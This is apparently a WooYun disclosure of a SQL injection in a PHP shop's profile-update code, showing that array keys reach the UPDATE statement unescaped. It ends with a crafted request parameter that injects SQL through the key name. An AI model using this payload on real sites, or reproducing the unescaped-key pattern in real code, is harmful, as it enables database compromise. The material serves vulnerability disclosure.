WooYun.org

module/index/user.php
	case 'base':
		if (isset($_p_pesubmit)) {
			if ($db->pe_update('user', array('user_id'=>$_s_user_id), pe_dbhold($_p_info))) {// 注意pinfo
				pe_success('基本信息修改成功！');
			}
function pe_dbhold($str, $exc=array())
{
	if (is_array($str)) {
		foreach($str as $k => $v) {
			$str[$k] = in_array($k, $exc) ? pe_dbhold($v, 'all') : pe_dbhold($v);
		}
	}
	else {
		$str = $exc == 'all' ? mysql_real_escape_string($str) : mysql_real_escape_string(htmlspecialchars($str));
	}
	return $str;
}
	public function pe_update($table, $where, $set)
	{
		//处理设置语句
		$sqlset = $this->_doset($set);
		//处理条件语句
		$sqlwhere = $this->_dowhere($where);
		return $this->sql_update("update `".dbpre."{$table}` {$sqlset} {$sqlwhere}");	
	}
protected function _doset($set)
	{
		if (is_array($set)) {
			foreach ($set as $k => $v) {
				$set_arr[] = "`{$k}` = '{$v}'";//可以看到Key没有过滤
			}
			$sqlset = 'set '.implode($set_arr, ' , ');
		}
		else {
			$sqlset = "set {$set}";
		}
		return $sqlset;
	}
注册用户 登录之后修改资料
抓包 把第一个&前面的address改成info%5Buser_address`%3Duser()#%5D=1
等号需要用%3D代替